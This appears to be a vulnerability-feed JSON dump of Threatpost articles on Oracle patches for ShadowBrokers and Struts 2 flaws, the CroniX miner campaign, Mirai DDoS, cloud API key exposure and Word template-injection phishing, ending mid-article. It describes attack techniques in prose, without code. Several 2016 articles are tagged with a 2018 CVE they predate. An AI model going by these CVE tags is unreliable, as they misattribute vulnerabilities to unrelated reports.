{"threatpost": [{"lastseen": "2018-10-06T22:53:48", "description": "Oracle released its biggest [Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) ever on Tuesday, and with it came added urgency in the form of patches for the Solaris vulnerabilities exposed by the [ShadowBrokers](<https://threatpost.com/shadowbrokers-expose-nsa-access-to-swift-service-bureaus/124996/>) last week, as well as the recent [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), also under public attack.\n\nIn all, Oracle admins have a tall order with 299 patches across most of the company\u2019s product lines; 162 of the vulnerabilities are remotely exploitable.\n\nTwo Solaris exploits were leaked by the mysterious ShadowBrokers last Friday. The Solaris attacks were included among a rash of other exploits including a laundry list of Windows attacks, many of which had [already been patched by Microsoft](<https://threatpost.com/shadowbrokers-windows-zero-days-already-patched/125009/>) prior to last Friday\u2019s dump.\n\nOne of the Solaris vulnerabilities, code-named EBBISLAND, had been patched in a number of updates dating back to 2012. The other, EXTREMEPARR, was addressed on Tuesday. It affects Solaris 7-10 on x86 and SPARC architectures, and is a local privilege escalation issue in the [dtappgather](<https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh>) component. Oracle patched versions 10 and 11.3 on Tuesday.\n\nResearcher Matthew Hickey of U.K. consultancy Hacker House, said the EXTREMEPARR attacks go back to Solaris 7, while EBBISLAND affects Solaris 6-10, and is a remote RPC services exploit. Both exploits allow attackers to elevate privileges to root and run shells on a compromised server.\n\n> I said in December that EBBISLAND was likely an exploit for Solaris 6 through 10, I am today confirmed correct (upto 9, still untested) <https://t.co/A3fC7BuwcK>\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 8, 2017](<https://twitter.com/hackerfantastic/status/850802122224488452>)\n\n\u201cAs a security researcher it was an extremely interesting find to discover such well written exploits in a public data dump,\u201d Hickey wrote in a [report](<https://www.myhackerhouse.com/easter-egg-hunt_greetz/#sthash.YMmAy8Ez.dpuf>) published today, \u201ceven though the bug was a trivial path traversal for \u2018dtappgather\u2019 extensive steps had been taken to protect the attack specifics in the binary and a well tested tool which worked flawlessly on all tested hosts was included.\u201d\n\nSince last August, the ShadowBrokers have periodically released tools belonging to the Equation Group, widely believed to be the U.S. National Security Agency. The Solaris attacks are of particular concern since these are the backbone of many enterprise-grade server environments.\n\n> The NSA had the power to hack any Oracle Solaris box in the world via UDP/TCP generically with anti-forensics capabilities and its public.\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 10, 2017](<https://twitter.com/hackerfantastic/status/851561358516736000>)\n\n\u201cThis vulnerability can be exploited remotely without authentication or any information about the targeted machine,\u201d said Amol Sarwate, director of [Qualys Vulnerability Labs](<https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities>). \u201cThese are very critical vulnerabilities.\u201d\n\nThe [Apache Struts 2 vulnerability](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) has been public since early March, though it\u2019s been publicly exploited for much longer. The flaw is in the Jakarta Multipart parser in Struts 2 2.3 before 2.3.32 and in 2.5 before 2.5.10.1. A remote attacker could upload a malicious Content-Type value and have it execute. Public scans and attacks ramped up immediately upon disclosure of the issue and development of a Metasploit module. For the most part, Linux-based DDoS bots were behind most of the exploit attempts, but a spate of attacks were detected attempting to install [Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable Windows servers.\n\nOracle patched Struts 2 on 25 of its products, including 19 different instances of its Oracle Financial Services Applications. Most of these Oracle applications, however, are not internet-facing and live behind an enterprise firewall.\n\n\u201cThat could be a little bit of a saving grace for some of these services,\u201d Qualys\u2019 Sarwate said. There could be some instances, however, where these apps are exposed to the public network for remote administration purposes, for example. There are also some cases in which admins may be learning for the first time that Struts 2 is running inside an Oracle product. \u201cFor a normal admin, it could be a little difficult unless a vendor tells them these are the products you\u2019re running that are affected by the Struts 2 vulnerability. It could take some admins by surprise.\u201d\n\nWhile there were 47 patches in total for the financial applications suite, the MySQL database also received a hefty load of 39 fixes, 11 of which are remotely exploitable without authentication. The Oracle Retail Applications suite also had 39 vulnerabilities addressed, 32 of which were remotely exploitable. Oracle Fusion Middleware received 31 patches, 20 of which were for remotely exploitable vulnerabilities.\n\nThe previous record for quarterly Oracle patches was last July when [276 patches](<https://threatpost.com/oracle-patches-record-276-vulnerabilities-with-july-critical-patch-update/119373/>) were released; January\u2019s update, the first for 2017, had [270 patches](<https://threatpost.com/oracle-patches-270-vulnerabilities-in-years-first-critical-patch-update/123155/>).\n", "cvss3": {}, "published": "2017-04-19T07:20:09", "type": "threatpost", "title": "Record Oracle Patch Update Addresses ShadowBrokers, Struts 2 Vulnerabilities", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2017-04-21T19:31:17", "id": "THREATPOST:F4E175435A7C5D2A4F16D46A939B175E", "href": "https://threatpost.com/record-oracle-patch-update-addresses-shadowbrokers-struts-2-vulnerabilities/125046/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-07-03T05:58:59", "description": "It was only a matter of time before attacks were seen in the wild, and now it\u2019s happened. A known threat actor has mounted a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution vulnerability. It uses a new malware designed for persistence and stealth, dubbed CroniX.\n\nThe malware\u2019s snappy name comes from the fact that it uses the Cron tool for persistence and Xhide for launching executables with fake process names, according to researchers at F5 Labs, who analyzed the campaign.\n\nThe Apache Struts 2 namespace vulnerability ([CVE-2018-11776](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>)) was disclosed just two weeks ago by researchers at Semmle. Researchers have warned that it has the potential to open the door to even more critical havoc than the bug at the root of the [infamous Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)). That\u2019s quite a statement given that the attack resulted in the exposure of personally identifiable information (PII) of 147 million consumers, costing the Fortune 500 credit-reporting company more than $439 million in damages and leading to the resignation of several of its executives.\n\nThe new campaign makes use of one of the [proof-of-concept exploits](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) that were published on Github2 and Twitter just days after the latest flaw was publicized. Adversaries are using it to gain unauthenticated remote code-execution capabilities on targeted Linux machines in order to install a [Monero cryptomining script](<https://threatpost.com/?s=monero>), F5 researchers said.\n\n\u201cAs with many other Apache Struts 2 vulnerabilities, CVE-2018-11776 allows attackers to inject Object-Graph Navigation Language (OGNL) expressions, which might contain malicious Java code that is evaluated under several circumstances,\u201d the team explained in [a posting](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) Tuesday. \u201cThis time, the injection point is within the URL. The attacker sends a single HTTP request while injecting an OGNL expression that, once evaluated, executes shell commands to download and execute a malicious file.\u201d\n\nThey added, \u201cconsidering it\u2019s only been two weeks since this vulnerability was discovered, it\u2019s worth noting how fast attackers are weaponizing vulnerabilities and how quickly researchers are seeing them in the wild.\u201d\n\n**Analysis**\n\nTaking a closer look at the malware, the team saw the malware downloads a file called \u201cH,\u201d which turns out to be an old XHide tool for launching executables with a fake process name, the researchers said. In this case, it launches a fork of the XMRig Monero miner, with an embedded configuration (pool, username and password), while changing the process name to the more innocuous-sounding \u201cjava.\u201d\n\nThe analysts also saw that three Cron jobs are used for persistence, with two of them refreshing the backdoor every day with downloads from the C2 server. Another job downloads a daily file named \u201canacrond,\u201d which saves itself in various Cron job files around the system. In all three cases, the scripts are used to connect to the C2 server and download the deployment bash script to restart the mining process; older versions of the scripts are then deleted off the system.\n\nCroniX also a competitive malware, locating and deleting the binaries of any previously installed cryptominers so as to claim all of the CPU resources for itself, F5 found.\n\n\u201cFor some miners, the attacker decides to take a more careful approach and check each process name and process CPU usage, and then kill only those processes that utilize 60 percent or more of the CPU resources,\u201d F5 researchers said. \u201cThis is probably done to avoid killing legitimate processes as the names of these miners (crond, sshd and syslogs) typically relate to legitimate programs on a Linux system.\u201d\n\nComparing the modus operandi of the operation, F5 researchers believe the actor is the same group that was behind a previous campaign exploiting Jenkins servers via [CVE-2017-1000353](<https://devcentral.f5.com/articles/jenkins-unsafe-deserialization-vulnerability-cve-2017-1000353-30142>). That campaign was uncovered two months ago.\n\n\u201cThe malware deployment pattern\u2026similar deployed file names and the quite unique usage of the XHide process-faker made us believe that the threat actor behind the exploitation of this fresh Struts 2 vulnerability is the same one,\u201d researchers noted in the analysis.\n\nOne difference is that in the previous campaign, the threat actor used a Chinese Git website to host malicious files. Here, the attackers are using a dedicated web server hosted in the U.S., along with domain names designating the Pacific island of Palau (.pw) \u2013 believed registered by a Russian registrant.\n\nWhile cryptomining can be seen as less destructive than [wiper malware,](<https://threatpost.com/secrets-of-the-wiper-inside-the-worlds-most-destructive-malware/131836/>) [ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) or Equifax-like [mass data exfiltration](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) (all of which can be carried out using this flaw), Jeannie Warner, security manager at WhiteHat Security, noted that exploit development tends to be faster for more widely embedded flaws, highlighting the importance of patching this particular issue immediately.\n\n\u201cApache Struts is used by some of the world\u2019s largest companies,\u201d she said via email. \u201cThe more common the vulnerability, the more it helps attackers simplify their process\u2026and the easier it becomes for non-skilled hackers to compromise more websites. Methods to exploit this newest Struts vulnerability are already available online, so it is absolutely critical that all companies implement the patch immediately. There\u2019s no time to waste.\u201d\n\nMore attacks should be anticipated; in fact, while Linux machines seem to be the target for this particular CroniX effort, the F5 analysis uncovered an additional file lurking on the server that seems tailored to Microsoft\u2019s OS.\n\n\u201c[The file] at /win/checking-test.hta holds a Visual Basic script that calls a Microsoft Windows cmd to run a Powershell command on a targeted victim,\u201d researchers said. \u201cSo, it seems this threat actor is targeting Windows OS (not just Linux) using another operation hosted on the same server.\u201d\n", "cvss3": {}, "published": "2018-09-05T17:48:03", "type": "threatpost", "title": "Active Campaign Exploits Critical Apache Struts 2 Flaw in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-1000353", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-09-05T17:48:03", "id": "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "href": "https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:54:19", "description": "The amount of insecure software tied to reused third-party libraries and lingering in applications long after patches have been deployed is staggering. It\u2019s a habitual problem perpetuated by developers failing to vet third-party code for vulnerabilities, and some repositories taking a hands-off approach with the code they host.\n\nThis scenario allows attackers to target one overlooked component flaw used in millions of applications instead of focusing on a single application security vulnerability. The real-world consequences have been demonstrated in the past few years with the [Heartbleed](<https://threatpost.com/openssl-fixes-tls-vulnerability/105300/>) vulnerability in OpenSSL, [Shellshock](<https://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521/>) in GNU Bash, and a deserialization vulnerability exploited in a recent high-profile attack against the [San Francisco Municipal Transportation Agency](<https://threatpost.com/hackers-make-new-claim-in-san-francisco-transit-ransomware-attack/122138/>). These are three instances where developers reuse libraries and frameworks that contain unpatched flaws in production applications.\n\nSecurity researchers at Veracode estimate that 97 percent of Java applications it tested included at least one component with at least one known software vulnerability. \u201cThe problem isn\u2019t limited to Java and isn\u2019t just tied to obscure projects,\u201d said Tim Jarrett senior director of security, Veracode. \u201cPick your programming language.\u201d Gartner, meanwhile, estimates that by 2020, [99 percent of vulnerabilities](<http://www.gartner.com/smarterwithgartner/top-10-security-predictions-2016/>) exploited will be ones known by security and IT professionals for at least one year.\n\n**Code Reuse Saves Time, Invites Bugs**\n\nAccording to security experts, the problem is two-fold. On one hand, developers use reliable code that at a later date is found to have a vulnerability. Second, insecure code is used by a developer who doesn\u2019t exercise due diligence on the software libraries used in their project.\n\n\u201cThey\u2019ve heard the warnings and know the dangers, but for many developers open source and third-party components can be a double-edge sword \u2013 saving time but opening the door to bugs,\u201d said Derek Weeks, vice president and DevOps advocate at Sonatype.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232110/sonatype.png>)In an analysis of 25,000 applications, Sonatype found that seven percent of components had at least one security defect tied to the use of an insecure software component.\n\nRepositories GitHub, Bitbucket, Python Package Index and NuGet Gallery are essential tools helping developers find pre-existing code that adds functionality for their software projects without having to reinvent the wheel. Java application developers, for example, rely on pre-existing frameworks to handle encryption, visual elements and libraries for handling data.\n\n\u201cSoftware is no longer written from scratch,\u201d Weeks said. \u201cNo matter how new and unique the application, 80 percent of the code used in a software application relies on third-party libraries or components.\u201d\n\nHe said enterprises are more reliant on the software supply chain than ever before. But he says many of the go-to open-source repositories that make up that supply chain are not vetted libraries of reliable code. Rather, they are warehouses with a varying percentage of outdated projects with security issues.\n\nAccording to an analysis of Sonatype\u2019s own Central Repository in 2015, developers had made 31 billion download requests of open source and third-party software components, compared to 17 billion requests the year before. And when Sonatype analyzed its own code library, it found 6.1 percent of code downloaded from its Central Repository had a known security defect.\n\nWeeks says Sonatype\u2019s is doing better than other repositories that offer no tools, no guidance and no red flags to prevent developers from using frameworks with faulty code. \u201cThere is no Good Housekeeping Seal of Approval for third-party code.\u201d\n\n\u201cFaulty code can easily spawn more problems down the road for developers,\u201d said Stephen Breen, a principal consultant at NTT Com Security. \u201cEven when development teams have the best intentions, it\u2019s easy for developers working under tight deadlines to not properly vet the third-party code used in their software.\u201d\n\nBreen said when insecure code is unknowingly used to build a component within a software program, problems snowball when that component is used inside other larger components. One example of vulnerable third-party code reused repeatedly is a deserialization flaw in Apache Commons Collections (commons-collections-3.2.1.jar) \u2013 first reported in 2015 and patched in November of the same year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232053/Threatpost_Veracode_Top_Java_vulns.png>)\n\nSource: Veracode\n\nJarrett found there are still 1,300 instances of the old vulnerable version of the Commons Collections lurking inside Java applications using Spring and Hibernate libraries and hosted across multiple open source code repositories.\n\n\u201cThe developer knows they are picking Spring or Hibernate for their development project. They don\u2019t take it to the next level and realize they are also getting Common Collections,\u201d Jarrett said. \u201cThat Common Collections library is then used by thousands more projects.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232108/apache.png>)According to Veracode, Apache Commons Collections is the sixth-most common component used in Java applications. It found that the unpatched versions of the software was in 25 percent of 300,000 Java applications scanned. Even more challenging for developers is updating those applications that are using the vulnerable version of libraries and frameworks since flaws were patched.\n\n\u201cThink of it like a faulty airbag. Carmakers used those faulty airbags in millions of vehicles. Now it\u2019s the carmaker on the hook to fix the problem, not the airbag maker,\u201d Jarrett said.\n\n**Leaky Apps, Bad Crypto, Injection Flaws Galore**\n\nVeracode said the Apache Common Collection example is the tip of the iceberg. When Veracode examined vulnerabilities tied to insecure code it found application information leakage, where user or application data can be leveraged by an attacker, is the most prevalent type of vulnerability, accounting for 72 percent of third-party code flaws. Second are cryptographic issues representing 65 percent of vulnerabilities. That was followed by Carriage Return Line Feed (CRLF) injection flaws and cross site scripting bugs.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232057/Threatpost_Veracode_Top_vuln_cats.png>)\n\nSource: Veracode\n\nCompounding the problem is an increased dependency on open-source components used in a wide variety of software products. The federal government is typical. It has an open-source-first policy as do many private companies. Relying on third-party libraries shortens development time and can improve the safety and quality of their software projects, Weeks said.\n\n\u201cNot only does code reuse save time but it also allows developers to be more innovative as they focus on creating new functionality and not writing encryption libraries from scratch,\u201d Weeks said. Done correctly, code reuse is a developer\u2019s godsend, he said.\n\nFor those reasons, security experts say it\u2019s time for the industry to stop and consider where code originates. Sonatype, which markets and sells code verification services, promotes the idea of documenting software\u2019s supply chain with what it calls a \u201csoftware bill of materials.\u201d That way developers can better scrutinize open-source frameworks before and after they are used; making it easier to update those applications that are using vulnerable old versions of libraries.\n\nSonatype said it found one in 16 components it analyzed had a vulnerability that was previously documented, verified and with additional information available on the Internet. \u201cI can\u2019t imagine any other industry where it\u2019s okay that one in 16 parts have known defects.\u201d\n\nThe problem is that among developers there is a mix of denial and ignorance at play. \u201cDevelopers choose component parts, not security,\u201d Weeks said. It should be the other way around.\n\n\u201cIf we are aware of malicious or bad libraries or code, of course we want to warn our users,\u201d said Logan Abbott, president of SourceForge, a software and code repository. \u201cWe scan binaries for vulnerabilities, but we don\u2019t police any of the code we host.\u201d\n\n**Repositories Say: \u2018We\u2019re Just the Host\u2019**\n\nRepositories contacted by Threatpost say their platforms are a resource for developers akin to cloud storage services that allow people to store and share content publicly or privately. They don\u2019t tell users what they can and cannot host with their service.\n\nThey say rooting out bugs in software should be on shoulders of developers \u2013 not repositories. Writing good vulnerability-free code starts at getting good code from healthy repositories with engaged users.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232105/bitbucket.png>)\u201cBitbucket is to a developer like Home Depot is to a carpenter,\u201d said Rahul Chhabria, product manager for Atlassian Bitbucket. \u201cWe\u2019ve built a hosting service with a variety of tools to help developers execute on their vision.\u201d\n\nChhabria said Bitbucket offers a range of tools to help sniff out bad or insecure components such as the third-party tool SourceClear for scanning dependency chains. It also offers Bitbucket that it says allows for team development of software projects and simplifies peer review. Another features, Bitbucket Pipelines, is also designed to help developers ship high quality code.\n\nGitHub is one of the largest repositories; it hosts 49 million public and private projects for its 18 million users. It does not scan or red flag insecure code hosted on its platform, according to Shawn Davenport, VP of security at GitHub. Instead developers can use third party-tools such as Gemnasium, Brakeman and Code Climate for static and dependency analysis.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232101/github.png>)\u201cThere is a lot of hidden risk out there in projects,\u201d Davenport said. \u201cWe do our best to make sure our developers know what tools are available to them to vet their own code.\u201d He estimates a minority GitHub developers take advantage of software scanning and auditing tools. \u201cUnfortunately security isn\u2019t a developers first priority.\u201d\n\nOther repositories told Threatpost they intentionally take a hands-off approach and say expecting them to police their own software isn\u2019t feasible, not part of their mission and nothing they plan to do. They point out, flawed or not, developers want access to all code \u2013 even older components.\n\n\u201cAn implementation of a library in one framework might not be a security risk at all,\u201d Breen said. He points out developers often temporarily revert to those old libraries as stopgaps should an updated version break a project.\n\n**Automated Scanning to the Rescue?**\n\nOne attempt at nipping the problem at the bud is the used of automated security vulnerability and configuration scanning for open source components. By 2019, more than 70 percent of enterprise DevOps initiatives will incorporate automated scanning, according to Gartner. Today only 10 percent of packages are scanned.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232050/nodejs.png>)The Node.js Foundation, an industry consortium designed to promote the Node.js platform, relies on a more community-based approach via the Node.js Security Project. The goal is to provide developers a process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem. According to Node.js the approach is a hybrid solution that consists of a database of vulnerabilities and a community communication channel for vetting and disclosing vulnerable code.\n\n\u201cIt\u2019s not a story about security professionals solving the problem, it\u2019s about how we empower development with the right information about the (software) parts they are consuming,\u201d Weeks said. \u201cIn this case, the heart of the solution lies with development, and therefore requires a new approach and different thinking.\u201d\n", "cvss3": {}, "published": "2016-12-15T10:00:39", "type": "threatpost", "title": "Code Reuse a Peril for Secure Software Development", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-12-27T13:45:57", "id": "THREATPOST:87897784F4B89A5B9E8CE18E2324CC70", "href": "https://threatpost.com/code-reuse-a-peril-for-secure-software-development/122476/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:34", "description": "**Update **DNS provider Dyn has confirmed two massive distributed denial of service attacks against its servers Friday impacting many of its customers including Twitter, Spotify and GitHub.

Gillian Christensen, acting deputy press secretary for DHS said in a statement: \u201cDHS and FBI are aware and are investigating all potential causes.\u201d\n\nManchester, New Hampshire-based Dyn said it first began monitoring the DDoS attack at 7:10 a.m. EDT Friday. The company said in a statement to customers:\n\n> \u201cStarting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.\u201d\n\nDyn said at 9:36 a.m. EDT, its services were restored and many of its affected customers, including Twitter, were back online. However, at 11:52 a.m. (EDT) Dyn updated its network status reporting an additional attack impacting its managed DNS infrastructure. Then 40 minutes later Dyn added the attacks had spread to its \u201cmanaged DNS advanced services with possible delays in monitoring.\u201d\n\nIt\u2019s unclear, at this time, the source of the DDoS attack, Dyn said.\n\nDale Drew, chief security officer for telecommunications firm Level 3 Communications said he had been monitoring the attack and the likely source were overseas hackers targeting U.S. cyber infrastructure. He added, [via a video statement posted to Periscope](<https://www.periscope.tv/w/1lPJqYjVMlZJb>), \u201cWe are seeing attacks coming from an Internet of Things botnet we have identified as Marai.\u201d\n\nSecurity firm Flashpoint also identified Marai as the likely culprit in the attack.\n\nThe Mirai malware continues to recruit vulnerable IoT devices into botnets [at a record pace](<https://threatpost.com/mirai-bots-more-than-double-since-source-code-release/121368/>), one that\u2019s only gone up since the source code for Mirai was made [public two weeks ago](<https://threatpost.com/source-code-released-for-mirai-ddos-malware/121039/>), according to Level 3.\n\nCraig Young, principle security researcher at Tripwire said the attack has telltale signs of an IoT-based DDoS attack similar to ones experienced by [Krebs on Security](<https://threatpost.com/iot-botnets-are-the-new-normal-of-ddos-attacks/121093/>) in September. In those attacks, hackers also used Mirai malware to compromise IoT devices to launch DDoS attacks.\n\n\u201cWe are seeing an increase in the number of high-intensity attacks that leverage compromised consumer DVRs and cameras. Without being able to analyze the source of Dyn\u2019s traffic it\u2019s impossible to know for sure. But what we are already seeing today, in terms IoT-based attacks, is the tip of the iceberg,\u201d Young said.\n\nRequests to Dyn for information on the source of the attacks have not been returned.\n\nYoung said that security experts have seen an increase in DDoS extortion attempts. However, he points out, many have been hoaxes and when companies didn\u2019t pay up nothing happened.\n\nForeScout CEO, Michael DeCesare said that attacks, such as the ones carried out Friday, are exasperated by the lack of security in IoT devices.\n\n\u201cThese attackers can now recruit an army of IoT devices to launch a wide scale DDoS attack due to the volume of these devices and their ease of infiltration,\u201d DeCesare said in a prepared statement regarding Friday\u2019s attacks.\n\n\u201cThe question corporations should be asking themselves is whether or not their devices are being exploited as part of these attacks. The solution starts with visibility \u2013 you cannot secure what you cannot see,\u201d he said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232928/Threatpost_Level3_outage_map.jpg>)\n\nLevel3 live outage map on Friday 9:50 AM (EDT)\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232859/Screen-Shot-2016-10-21-at-5.18.29-PM.png>)\n\nLevel3 live outage map on Friday 5:20 PM (EDT)\n\n_This article was updated Oct. 21 at 5:30 p.m. with new information from the Department of Homeland Security, new information tying the attacks to Mirai malware and quotes from both Level 3 Communications and ForeScout. \n_\n", "cvss3": {}, "published": "2016-10-21T10:01:14", "type": "threatpost", "title": "DYN Confirms DDoS Attack Knocking Out Twitter, Spotify Other Major Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-10-21T21:37:20", "id": "THREATPOST:0FC293825070B81036932BDB41D793B5", "href": "https://threatpost.com/dyn-confirms-ddos-attack-affecting-twitter-github-many-others/121438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:19", "description": "When it comes to cloud computing, APIs more or less drive everything, but in the eyes of some researchers, existing security controls around them haven\u2019t kept pace.\n\nWhile individual components of a system can be secure, when that system gets deployed in the cloud it can often become insecure \u2013 and get worse at scale, according to Erik Peterson, a cloud technology researcher with Veracode. Peterson, who also refers to himself as a Cloud Security Weapons Manufacturer, described the \u2018Emergent Insecurity\u2019 of the cloud in a talk Wednesday at the Source Conference in Boston.\n\nEarly on in his presentation, Peterson recounted a [Chris Hoff](<https://twitter.com/Beaker>) quote that he claims sums up the concept: \u201cIf your security sucks now, you\u2019ll be pleasantly surprised by the lack of change when you move to cloud.\u201d\n\nIn particular Peterson warned about the dangers associated with API credential exposure, something which could easily lead to apps being rigged to spread malware, cloud infrastructure adapted for use in a Bitcoin mining operation, additional attacks being launched, and the most critical: the downloading of sensitive customer data.\n\n\u201cAPI access is the new equivalent to physical access,\u201d Peterson said, \u201cIf someone compromises your most sensitive API credential, it doesn\u2019t matter.\u201d\n\nAPI keys, which protect cloud metadata \u2013 information that usually includes Amazon Web Services (AWS) access credentials, and startup scripts \u2013 can often be the only thing standing between users and total compromise, he stressed.\n\nPeterson, who\u2019s researched cloud and architect solutions in AWS since 2009, warned that old, vintage software vulnerabilities can easily be leveraged for compromise.\n\nHe\u2019s seen it all: Server-side request forgery vulnerabilities, XML external entity vulnerabilities, command injection vulnerabilities, unintended proxy or intermediary vulnerabilities. Each one can lead to the unintended exposure of metadata, but when they all come together, it can result in a full stack hack, or what Peterson likens to \u201cdeath by 1,000 cuts.\u201d\n\nFor instance, he claims, if an attacker gained access to an API key they could escalate privileges. If they gained access to cloud DNS, it could reveal the private IP of the web server. If an attacker got access to an IP address, they could uncover an app that hasn\u2019t been tested. Once in, it\u2019s possible an attacker could do the worst, Peterson claims, clone the database for quiet extraction.\n\n\u201cLots of people are shuffling cloud data and not thinking of the flaws,\u201d Peterson said, \u201cthey all lead to exposing that user data, all that great info my system needs to startup.\u201d\n\nThere are ways to prevent a full stack hack, mainly through encryption, but common sense doesn\u2019t hurt either.\n\n\u201cNo more checking your API keys into GitHub,\u201d Peterson advised.\n\nAttackers often scour the service looking to exploit vulnerabilities and access cloud metadata API. Storing sensitive information like API keys there can be a quick lesson in futility. That still doesn\u2019t stop users from doing it though; a cursory search on the service for \u201cSECRET_ACCESS_KEY\u201d last year yielded 7,500 placeholder results, Peterson said.\n\nOne developer discovered 140 servers running on his Amazon Web Services account [last year](<https://it.slashdot.org/story/15/01/02/2342228/bots-scanning-github-to-steal-amazon-ec2-keys>) after a bot scanning GitHub sniffed out his Amazon Elastic Compute Cloud (EC2) keys.\n\nDevelopers should get off the old EC2 classic and lockdown their Simple Storage Service (S3) buckets, Peterson said Wednesday. If they aren\u2019t already, developers should log everything, especially API activity, he said, adding that some AWS tools, like [Cloudtrail](<https://aws.amazon.com/cloudtrail/>), which records AWS API calls, and [Netflix\u2019s Security Monkey](<https://threatpost.com/netflix-open-source-security-tools-solve-range-of-challenges/107931/>), which can be used to monitor and analyze AWS configurations, can be invaluable.\n\nInstead of trying to control change, developers should react to change, rethink their threat model and realize that lower priority software vulnerabilities, like SSRF, or XXE, can still be deadly, Peterson said.\n\n\u201cIf you have a key that an app is using ask yourself: What\u2019s the worst thing that could happen if it was compromised?\u201d Peterson asked aloud, \u201cIs there a path that leads to my entire environment getting deleted by some unknown entity?\u201d\n", "cvss3": {}, "published": "2016-05-19T14:20:22", "type": "threatpost", "title": "Protecting Cloud APIs Critical to Mitigating Total Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-19T18:20:22", "id": "THREATPOST:08BA9FD6E2245EA011F6C29F24929679", "href": "https://threatpost.com/protecting-cloud-apis-critical-to-mitigating-total-compromise/118197/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:25", "description": "Days after news broke last week that advanced, persistent threat actors penetrated nuclear facilities, researchers are explaining techniques used by adversaries to gain toeholds in similar targets in energy. Cisco Talos reported Friday that email-based attacks, leveraging template injection techniques, targeting nuclear facilities and others have been ongoing since May.\n\n\u201cTalos has observed attackers targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States. These attacks target both the critical infrastructure providers, and the vendors those providers used to deliver critical services,\u201d [researchers wrote on Friday](<http://blog.talosintelligence.com/2017/07/template-injection.html#more>).\n\nAdversaries are leveraging classic Word document-based phishing attacks, they said. However, the Word document attachments used in the phishing campaigns do not contain malicious VBA macros or embedded scripting. Instead, attachments attempt to download a malicious template file over a Server Message Block (SMB) connection so that the user\u2019s credentials can be harvested, researchers said.\n\nCisco Talos did not claim this specific attack was used against Wolf Creek Nuclear Operating Corporation or in connection with any specific attack cited in a joint report issued by the Department of Homeland Security and the Federal Bureau of Investigation last week. Neither did researchers claim attacks had ever led to a hacker breaching or disrupting the core systems controlling operations at an energy plant.\n\n\u201cOne objective of this most recent attack appears to be to harvest credentials of users who work within critical infrastructure and manufacturing industries,\u201d Talos wrote.\n\nTargeted phishing attacks included DOCX type documents delivered as attachments under the guise of being an environmental report or a resume. While no malicious macros or scripting is embedded in the document, when a user opens it, a request is made via the SMB protocol for a template, as such \u201cContacting:\\\\\\ . . . \\Template.dotm.\u201d\n\n\u201cThe document was trying to pull down a template file from a particular IP,\u201d they noted. That connection was not via TCP 80 (often used for C2 communications), rather the SMB request was via TCP 445, a traditional Microsoft networking port.\n\nWithin the sandboxed VM \u201ca WebDAV connection was attempted over a SMB session when requesting the template.\u201d\n\nWebDAV is a Web-based Distributed Authoring and Versioning extension to the HTTP protocol that allows users to collaboratively edit and manage files on a remote server, according to [WebDAV Working Group](<http://www.webdav.org/>).\n\nUsing the WebDAV connection, the DOCX file requests a specific Relationship ID that is present in word/_rels/settings.xml.rels, or the XML instructions. According to researchers, the Relationship ID is identical to a phishing tool named Phishery, which uses the exact same ID in its template injection.\n\nPhishery is known as a credential harvester with a Word document template URL injector. According the [GitHub tool 